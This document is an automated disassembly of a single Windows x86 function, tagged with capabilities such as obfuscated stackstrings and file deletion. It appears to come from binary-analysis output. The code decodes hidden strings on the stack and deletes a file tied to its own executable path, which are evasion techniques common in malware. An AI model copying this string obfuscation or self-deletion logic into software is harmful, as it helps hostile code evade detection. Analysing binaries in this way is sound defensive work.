Function at 0x4198f0
Capabilities:
Contain obfuscated stackstrings
Delete file
Read file on windows
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x894
mov eax, dword [0x465040]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 0x400
lea eax, [ebp - 0x808]
mov ebx, ecx
push eax
push 0
mov dword [ebp - 0x894], ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov byte [ebp - 0x888], 0
mov edi, 0x7f
mov byte [ebp - 0x887], 3
mov byte [ebp - 0x886], 0x2c
mov byte [ebp - 0x885], 0x10
mov byte [ebp - 0x884], 0x2c
mov byte [ebp - 0x883], 0x21
mov byte [ebp - 0x882], 0x2c
mov byte [ebp - 0x881], 0x21
mov byte [ebp - 0x880], 0x2c
mov byte [ebp - 0x87f], 0x16
mov byte [ebp - 0x87e], 0x2c
mov byte [ebp - 0x87d], 0x62
mov byte [ebp - 0x87c], 0x2c
mov byte [ebp - 0x87b], 0x40
mov byte [ebp - 0x87a], 0x2c
mov byte [ebp - 0x879], 0x20
mov byte [ebp - 0x878], 0x2c
mov byte [ebp - 0x877], 0x16
mov byte [ebp - 0x876], 0x2c
mov byte [ebp - 0x875], 0x7e
mov byte [ebp - 0x874], 0x2c
mov byte [ebp - 0x873], 0x16
mov byte [ebp - 0x872], 0x2c
mov byte [ebp - 0x871], 0x76
mov byte [ebp - 0x870], 0x2c
mov byte [ebp - 0x86f], 0x10
mov byte [ebp - 0x86e], 0x2c
mov byte [ebp - 0x86d], 0x40
mov byte [ebp - 0x86c], 0x2c
mov byte [ebp - 0x86b], 0x57
mov byte [ebp - 0x86a], 0x2c
mov byte [ebp - 0x869], 0x27
mov byte [ebp - 0x868], 0x2c
mov byte [ebp - 0x867], 0x43
mov byte [ebp - 0x866], 0x2c
mov byte [ebp - 0x865], 0x16
mov byte [ebp - 0x864], 0x2c
mov byte [ebp - 0x863], 0x20
mov byte [ebp - 0x862], 0x2c
mov byte [ebp - 0x861], 2
mov byte [ebp - 0x860], 0x2c
mov byte [ebp - 0x85f], 0x57
mov byte [ebp - 0x85e], 0x2c
mov byte [ebp - 0x85d], 0x40
mov byte [ebp - 0x85c], 0x2c
mov byte [ebp - 0x85b], 5
mov byte [ebp - 0x85a], 0x2c
mov byte [ebp - 0x859], 0x36
mov byte [ebp - 0x858], 0x2c
mov byte [ebp - 0x857], 0x20
mov byte [ebp - 0x856], 0x2c
mov byte [ebp - 0x855], 0x2e
mov byte [ebp - 0x854], 0x2c
mov byte [ebp - 0x853], 0x70
mov byte [ebp - 0x852], 0x2c
mov byte [ebp - 0x851], 0x2c
mov byte [ebp - 0x850], 0x2c
mov al, byte [ebp - 0x887]
mov al, byte [ebp - 0x888]
mov dword [ebp - 0x890], edi
test al, al
jne 0x419afa
xor esi, esi
nop
mov al, byte [ebp + esi - 0x887]
mov ecx, 0x2c
movzx eax, al
sub ecx, eax
imul eax, ecx, 0x2d
cdq
idiv edi
lea eax, [edx + 0x7f]
cdq
idiv edi
mov byte [ebp + esi - 0x887], dl
inc esi
cmp esi, 0x38
jb 0x419ad0
lea eax, [ebp - 0x808]
push eax
lea eax, [ebp - 0x887]
push eax
call fcn.00424150
add esp, 8
cmp byte [0x468fe4], 0
je 0x419ba3
mov edx, 0x4690e5
lea ecx, [ebp - 0x84c]
call fcn.00429ad0
cmp dword [ebp - 0x838], 7
lea ecx, [ebp - 0x84c]
cmova ecx, dword [ebp - 0x84c]
call fcn.00432710
mov ecx, dword [ebp - 0x838]
cmp ecx, 7
jbe 0x419b86
mov edx, dword [ebp - 0x84c]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x419b7c
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41a8a0
push ecx
push edx
call fcn.004378af
add esp, 8
xor eax, eax
mov dword [ebp - 0x83c], 0
mov dword [ebp - 0x838], 7
mov word [ebp - 0x84c], ax
cmp byte [0x4692e7], 0
je 0x419e7b
call fcn.00422d30
cmp byte [0x4692e8], 0
je 0x419e7b
xorps xmm0, xmm0
mov dword [ebp - 0x83c], 0
lea ecx, [ebp - 0x808]
mov dword [ebp - 0x838], 0
movups xmmword [ebp - 0x84c], xmm0
lea edx, [ecx + 2]
nop dword [eax]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x419bf0
sub ecx, edx
lea eax, [ebp - 0x808]
sar ecx, 1
push ecx
push eax
lea ecx, [ebp - 0x84c]
call fcn.00415e90
sub esp, 8
lea ecx, [ebp - 0x84c]
call fcn.00415ce0
mov ecx, dword [ebp - 0x838]
mov esi, eax
cmp ecx, 7
jbe 0x419c62
mov edx, dword [ebp - 0x84c]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x419c58
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41a8a5
push ecx
push edx
call fcn.004378af
add esp, 8
xor eax, eax
mov dword [ebp - 0x83c], 0
xorps xmm0, xmm0
mov dword [ebp - 0x838], 7
lea ecx, [ebp - 0x808]
mov word [ebp - 0x84c], ax
movups xmmword [ebp - 0x84c], xmm0
mov dword [ebp - 0x83c], eax
lea edx, [ecx + 2]
mov dword [ebp - 0x838], eax
nop
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x419ca0
sub ecx, edx
lea eax, [ebp - 0x808]
sar ecx, 1
push ecx
push eax
lea ecx, [ebp - 0x84c]
call fcn.00415e90
cmp dword [ebp - 0x83c], esi
lea eax, [ebp - 0x84c]
xorps xmm0, xmm0
mov dword [ebp - 0x810], 0
cmovb esi, dword [ebp - 0x83c]
lea ecx, [ebp - 0x820]
cmp dword [ebp - 0x838], 7
push esi
cmova eax, dword [ebp - 0x84c]
push eax
movups xmmword [ebp - 0x820], xmm0
mov dword [ebp - 0x80c], 0
call fcn.00415e90
mov ecx, dword [ebp - 0x838]
cmp ecx, 7
jbe 0x419d4e
mov edx, dword [ebp - 0x84c]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x419d44
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41a8af
push ecx
push edx
call fcn.004378af
add esp, 8
push 1
xor eax, eax
mov dword [ebp - 0x83c], 0
push 0x461a40
lea ecx, [ebp - 0x820]
mov dword [ebp - 0x838], 7
mov word [ebp - 0x84c], ax
call fcn.00418b80
lea ecx, [ebp - 0x84c]
call fcn.0042a8f0
mov ecx, eax
cmp dword [eax + 0x14], 7
jbe 0x419d92
mov ecx, dword [eax]
push dword [eax + 0x10]
push ecx
lea ecx, [ebp - 0x820]
call fcn.00418b80
mov ecx, dword [ebp - 0x838]
cmp ecx, 7
jbe 0x419de1
mov edx, dword [ebp - 0x84c]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x419dd7
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41a8aa
push ecx
push edx
call fcn.004378af
add esp, 8
xor eax, eax
mov dword [ebp - 0x83c], 0
mov dword [ebp - 0x838], 7
mov word [ebp - 0x84c], ax
call fcn.00420990
cmp dword [ebp - 0x80c], 7
lea eax, [ebp - 0x820]
cmova eax, dword [ebp - 0x820]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov ecx, dword [ebp - 0x80c]
cmp ecx, 7
jbe 0x419e5e
mov edx, dword [ebp - 0x820]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x419e54
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41a8af
push ecx
push edx
call fcn.004378af
add esp, 8
xor eax, eax
mov dword [ebp - 0x810], 0
mov dword [ebp - 0x80c], 7
mov word [ebp - 0x820], ax
test ebx, ebx
jne 0x41a675
cmp byte [0x468eda], bl
je 0x41a2a1
mov ebx, dword [0x468edc]
push ebx
mov dword [ebp - 0x828], ebx
call fcn.0043c243
add esp, 4
mov esi, eax
lea eax, [ebp - 0x808]
mov dword [ebp - 0x824], esi
push 0x461a48
push eax
lea eax, [ebp - 0x82c]
push eax
call fcn.00440099
mov edi, dword [0x4692f4]
add esp, 0xc
add edi, dword [0x4692ec]
add edi, dword [0x468880]
mov byte [ebp - 0x884], 0
mov byte [ebp - 0x883], 0x28
mov byte [ebp - 0x882], 0x7b
mov byte [ebp - 0x881], 0x2c
mov byte [ebp - 0x880], 0x7b
mov byte [ebp - 0x87f], 0x6e
mov byte [ebp - 0x87e], 0x7b
mov byte [ebp - 0x87d], 0x7c
mov byte [ebp - 0x87c], 0x7b
mov byte [ebp - 0x87b], 0x69
mov byte [ebp - 0x87a], 0x7b
mov byte [ebp - 0x879], 0x56
mov byte [ebp - 0x878], 0x7b
mov byte [ebp - 0x877], 0xb
mov byte [ebp - 0x876], 0x7b
mov byte [ebp - 0x875], 0x67
mov byte [ebp - 0x874], 0x7b
mov byte [ebp - 0x873], 0x69
mov byte [ebp - 0x872], 0x7b
mov byte [ebp - 0x871], 0x4d
mov byte [ebp - 0x870], 0x7b
mov byte [ebp - 0x86f], 6
mov byte [ebp - 0x86e], 0x7b
mov byte [ebp - 0x86d], 0x56
mov byte [ebp - 0x86c], 0x7b
mov byte [ebp - 0x86b], 0x67
mov byte [ebp - 0x86a], 0x7b
mov byte [ebp - 0x869], 0x53
mov byte [ebp - 0x868], 0x7b
mov byte [ebp - 0x867], 0x67
mov byte [ebp - 0x866], 0x7b
mov byte [ebp - 0x865], 0x54
mov byte [ebp - 0x864], 0x7b
mov byte [ebp - 0x863], 0x7c
mov byte [ebp - 0x862], 0x7b
mov byte [ebp - 0x861], 0x67
mov byte [ebp - 0x860], 0x7b
mov byte [ebp - 0x85f], 0x43
mov byte [ebp - 0x85e], 0x7b
mov byte [ebp - 0x85d], 0x69
mov byte [ebp - 0x85c], 0x7b
mov byte [ebp - 0x85b], 0xf
mov byte [ebp - 0x85a], 0x7b
mov byte [ebp - 0x859], 0x2c
mov byte [ebp - 0x858], 0x7b
mov byte [ebp - 0x857], 0x67
mov byte [ebp - 0x856], 0x7b
mov byte [ebp - 0x855], 0x54
mov byte [ebp - 0x854], 0x7b
mov byte [ebp - 0x853], 0x7c
mov byte [ebp - 0x852], 0x7b
mov byte [ebp - 0x851], 0x7b
mov byte [ebp - 0x850], 0x7b
mov al, byte [ebp - 0x883]
mov al, byte [ebp - 0x884]
test al, al
jne 0x41a097
xor esi, esi
lea ebx, [esi + 0x7f]
mov al, byte [ebp + esi - 0x883]
mov ecx, 0x7b
movzx eax, al
sub ecx, eax
imul eax, ecx, 0x1b
cdq
idiv ebx
lea eax, [edx + 0x7f]
cdq
idiv ebx
mov byte [ebp + esi - 0x883], dl
inc esi
cmp esi, 0x34
jb 0x41a061
mov ebx, dword [ebp - 0x828]
mov esi, dword [ebp - 0x824]
push ebx
lea eax, [ebp - 0x883]
push edi
push eax
call fcn.00424130
add esp, 0xc
push 0
push edi
push dword [ebp - 0x82c]
call fcn.0044051e
add esp, 0xc
push dword [ebp - 0x82c]
push ebx
push 1
push esi
call fcn.00440a30
push dword [ebp - 0x82c]
call fcn.00440205
add esp, 0x14
lea ecx, [ebp - 0x84c]
mov edx, 0x468ee4
call fcn.00429ad0
cmp dword [ebp - 0x838], 7
lea eax, [ebp - 0x84c]
push 0x461a50
cmova eax, dword [ebp - 0x84c]
push eax
lea eax, [ebp - 0x830]
push eax
call fcn.00440099
mov ecx, dword [ebp - 0x838]
add esp, 0xc
cmp ecx, 7
jbe 0x41a14f
mov edx, dword [ebp - 0x84c]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x41a145
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41a8b4
push ecx
push edx
call fcn.004378af
add esp, 8
push dword [0x468ee0]
xor eax, eax
mov dword [ebp - 0x83c], 0
push dword [ebp - 0x830]
mov edx, ebx
mov dword [ebp - 0x838], 7
mov ecx, esi
mov word [ebp - 0x84c], ax
call fcn.00419690
push dword [ebp - 0x830]
call fcn.00440205
add esp, 0xc
push esi
call fcn.0043c5bb
add esp, 4
lea ecx, [ebp - 0x820]
mov edx, 0x468ee4
call fcn.00429ad0
cmp dword [ebp - 0x80c], 7
lea esi, [ebp - 0x820]
push 0x466b50
cmova esi, dword [ebp - 0x820]
lea ecx, [ebp - 0x84c]
call fcn.004188e0
cmp dword [ebp - 0x838], 7
lea ecx, [ebp - 0x84c]
mov edx, esi
cmova ecx, dword [ebp - 0x84c]
call fcn.0042ec10
mov ecx, dword [ebp - 0x838]
cmp ecx, 7
jbe 0x41a227
mov edx, dword [ebp - 0x84c]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x41a21d
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41a8b9
push ecx
push edx
call fcn.004378af
add esp, 8
mov ecx, dword [ebp - 0x80c]
xor eax, eax
mov dword [ebp - 0x83c], 0
mov dword [ebp - 0x838], 7
mov word [ebp - 0x84c], ax
cmp ecx, 7
jbe 0x41a284
mov edx, dword [ebp - 0x820]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x41a27a
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41a8b9
push ecx
push edx
call fcn.004378af
add esp, 8
xor eax, eax
mov dword [ebp - 0x810], 0
mov dword [ebp - 0x80c], 7
mov word [ebp - 0x820], ax
cmp byte [0x46ab46], 0
je 0x41a675
mov edi, dword [0x46ab48]
push edi
call fcn.0043c243
add esp, 4
mov ebx, eax
lea eax, [ebp - 0x808]
push 0x461a48
push eax
lea eax, [ebp - 0x82c]
push eax
call fcn.00440099
mov esi, dword [0x4692f4]
add esp, 0xc
add esi, dword [0x4692ec]
add esi, dword [0x468880]
add esi, dword [0x468edc]
mov byte [ebp - 0x88c], 0
mov byte [ebp - 0x88b], 0x45
mov byte [ebp - 0x88a], 0x14
mov byte [ebp - 0x889], 0x55
mov byte [ebp - 0x888], 0x14
mov byte [ebp - 0x887], 0x5f
mov byte [ebp - 0x886], 0x14
mov byte [ebp - 0x885], 0x18
mov byte [ebp - 0x884], 0x14
mov byte [ebp - 0x883], 0x4b
mov byte [ebp - 0x882], 0x14
mov byte [ebp - 0x881], 0x7e
mov byte [ebp - 0x880], 0x14
mov byte [ebp - 0x87f], 0x50
mov byte [ebp - 0x87e], 0x14
mov byte [ebp - 0x87d], 0x43
mov byte [ebp - 0x87c], 0x14
mov byte [ebp - 0x87b], 0x28
mov byte [ebp - 0x87a], 0x14
mov byte [ebp - 0x879], 0x5f
mov byte [ebp - 0x878], 0x14
mov byte [ebp - 0x877], 4
mov byte [ebp - 0x876], 0x14
mov byte [ebp - 0x875], 4
mov byte [ebp - 0x874], 0x14
mov byte [ebp - 0x873], 0x79
mov byte [ebp - 0x872], 0x14
mov byte [ebp - 0x871], 0x5f
mov byte [ebp - 0x870], 0x14
mov byte [ebp - 0x86f], 0x79
mov byte [ebp - 0x86e], 0x14
mov byte [ebp - 0x86d], 0x55
mov byte [ebp - 0x86c], 0x14
mov byte [ebp - 0x86b], 0x74
mov byte [ebp - 0x86a], 0x14
mov byte [ebp - 0x869], 0x43
mov byte [ebp - 0x868], 0x14
mov byte [ebp - 0x867], 0x72
mov byte [ebp - 0x866], 0x14
mov byte [ebp - 0x865], 0x43
mov byte [ebp - 0x864], 0x14
mov byte [ebp - 0x863], 0x76
mov byte [ebp - 0x862], 0x14
mov byte [ebp - 0x861], 0x18
mov byte [ebp - 0x860], 0x14
mov byte [ebp - 0x85f], 0x43
mov byte [ebp - 0x85e], 0x14
mov byte [ebp - 0x85d], 0x32
mov byte [ebp - 0x85c], 0x14
mov byte [ebp - 0x85b], 0x4b
mov byte [ebp - 0x85a], 0x14
mov byte [ebp - 0x859], 0x60
mov byte [ebp - 0x858], 0x14
mov byte [ebp - 0x857], 0x55
mov byte [ebp - 0x856], 0x14
mov byte [ebp - 0x855], 0x43
mov byte [ebp - 0x854], 0x14
mov byte [ebp - 0x853], 0x76
mov byte [ebp - 0x852], 0x14
mov byte [ebp - 0x851], 0x18
mov byte [ebp - 0x850], 0x14
mov byte [ebp - 0x84f], 0x14
mov byte [ebp - 0x84e], 0x14
mov al, byte [ebp - 0x88b]
mov al, byte [ebp - 0x88c]
test al, al
jne 0x41a4ee
xor ecx, ecx
nop dword [eax]
mov al, byte [ebp + ecx - 0x88b]
movzx eax, al
sub eax, 0x14
imul eax, eax, 0x19
cdq
idiv dword [ebp - 0x890]
lea eax, [edx + 0x7f]
cdq
idiv dword [ebp - 0x890]
mov byte [ebp + ecx - 0x88b], dl
inc ecx
cmp ecx, 0x3e
jb 0x41a4c0
push edi
lea eax, [ebp - 0x88b]
push esi
push eax
call fcn.00424130
add esp, 0xc
push 0
push esi
push dword [ebp - 0x82c]
call fcn.0044051e
add esp, 0xc
push dword [ebp - 0x82c]
push edi
push 1
push ebx
call fcn.00440a30
push dword [ebp - 0x82c]
call fcn.00440205
add esp, 0x14
lea ecx, [ebp - 0x84c]
mov edx, 0x46ab50
call fcn.00429ad0
cmp dword [ebp - 0x838], 7
lea eax, [ebp - 0x84c]
push 0x461a50
cmova eax, dword [ebp - 0x84c]
push eax
lea eax, [ebp - 0x830]
push eax
call fcn.00440099
mov ecx, dword [ebp - 0x838]
add esp, 0xc
cmp ecx, 7
jbe 0x41a5a6
mov edx, dword [ebp - 0x84c]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x41a59c
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41a8be
push ecx
push edx
call fcn.004378af
add esp, 8
push dword [0x46ab4c]
xor eax, eax
mov dword [ebp - 0x83c], 0
push dword [ebp - 0x830]
mov edx, edi
mov dword [ebp - 0x838], 7
mov ecx, ebx
mov word [ebp - 0x84c], ax
call fcn.00419690
push dword [ebp - 0x830]
call fcn.00440205
add esp, 0xc
push ebx
call fcn.0043c5bb
add esp, 4
lea ecx, [ebp - 0x84c]
mov edx, 0x46ab50
call fcn.00429ad0
cmp dword [ebp - 0x838], 7
lea ecx, [ebp - 0x84c]
cmova ecx, dword [ebp - 0x84c]
call fcn.0042e0f0
mov ecx, dword [ebp - 0x838]
cmp ecx, 7
jbe 0x41a658
mov edx, dword [ebp - 0x84c]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x41a64e
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41a8c3
push ecx
push edx
call fcn.004378af
add esp, 8
xor eax, eax
mov dword [ebp - 0x83c], 0
mov dword [ebp - 0x838], 7
mov word [ebp - 0x84c], ax
mov byte [ebp - 0x818], 0
mov ebx, 0x7f
mov byte [ebp - 0x817], 0x2a
mov byte [ebp - 0x816], 0x1d
mov byte [ebp - 0x815], 0x70
mov byte [ebp - 0x814], 0x1d
mov byte [ebp - 0x813], 0x7a
mov byte [ebp - 0x812], 0x1d
mov byte [ebp - 0x811], 0x70
mov byte [ebp - 0x810], 0x1d
mov byte [ebp - 0x80f], 5
mov byte [ebp - 0x80e], 0x1d
mov byte [ebp - 0x80d], 0x6e
mov byte [ebp - 0x80c], 0x1d
mov byte [ebp - 0x80b], 0x1d
mov byte [ebp - 0x80a], 0x1d
mov al, byte [ebp - 0x817]
mov al, byte [ebp - 0x818]
test al, al
jne 0x41a72e
xor esi, esi
nop word [eax + eax]
mov al, byte [ebp + esi - 0x817]
mov ecx, 0x1d
movzx eax, al
sub ecx, eax
mov eax, ecx
shl eax, 6
sub eax, ecx
cdq
idiv ebx
lea eax, [edx + 0x7f]
cdq
idiv ebx
mov byte [ebp + esi - 0x817], dl
inc esi
cmp esi, 0xe
jb 0x41a700
lea eax, [ebp - 0x817]
push eax
call fcn.00424130
add esp, 4
cmp byte [0x46883f], 0
je 0x41a785
push 0
lea eax, [ebp - 0x828]
mov dword [ebp - 0x824], 0
push eax
push 2
lea eax, [ebp - 0x824]
push eax
push dword [0x466b1c]
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov eax, dword [ebp - 0x894]
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00437671
mov esp, ebp
pop ebp
ret
mov byte [ebp - 0x84c], 0
mov byte [ebp - 0x84b], 0x56
mov byte [ebp - 0x84a], 0xc
mov byte [ebp - 0x849], 0x52
mov byte [ebp - 0x848], 0xc
mov byte [ebp - 0x847], 0x5b
mov byte [ebp - 0x846], 0xc
mov byte [ebp - 0x845], 0x67
mov byte [ebp - 0x844], 0xc
mov byte [ebp - 0x843], 0x49
mov byte [ebp - 0x842], 0xc
mov byte [ebp - 0x841], 0x58
mov byte [ebp - 0x840], 0xc
mov byte [ebp - 0x83f], 0x43
mov byte [ebp - 0x83e], 0xc
mov byte [ebp - 0x83d], 0x6c
mov byte [ebp - 0x83c], 0xc
mov byte [ebp - 0x83b], 0x52
mov byte [ebp - 0x83a], 0xc
mov byte [ebp - 0x839], 0x5b
mov byte [ebp - 0x838], 0xc
mov byte [ebp - 0x837], 0x43
mov byte [ebp - 0x836], 0xc
mov byte [ebp - 0x835], 0xc
mov byte [ebp - 0x834], 0xc
mov al, byte [ebp - 0x84b]
mov al, byte [ebp - 0x84c]
test al, al
jne 0x41a87a
xor esi, esi
nop word [eax + eax]
mov al, byte [ebp + esi - 0x84b]
mov ecx, 0xc
movzx eax, al
sub ecx, eax
imul eax, ecx, 0x2a
cdq
idiv ebx
lea eax, [edx + 0x7f]
cdq
idiv ebx
mov byte [ebp + esi - 0x84b], dl
inc esi
cmp esi, 0x18
jb 0x41a850
lea eax, [ebp - 0x84b]
push eax
call fcn.00424150
mov ecx, dword [ebp - 4]
add esp, 4
mov eax, dword [ebp - 0x894]
xor ecx, ebp
pop edi
pop esi
pop ebx
call fcn.00437671
mov esp, ebp
pop ebp
ret
call fcn.0043c56a
call fcn.0043c56a
call fcn.0043c56a
call fcn.0043c56a
call fcn.0043c56a
call fcn.0043c56a
call fcn.0043c56a
call fcn.0043c56a
int3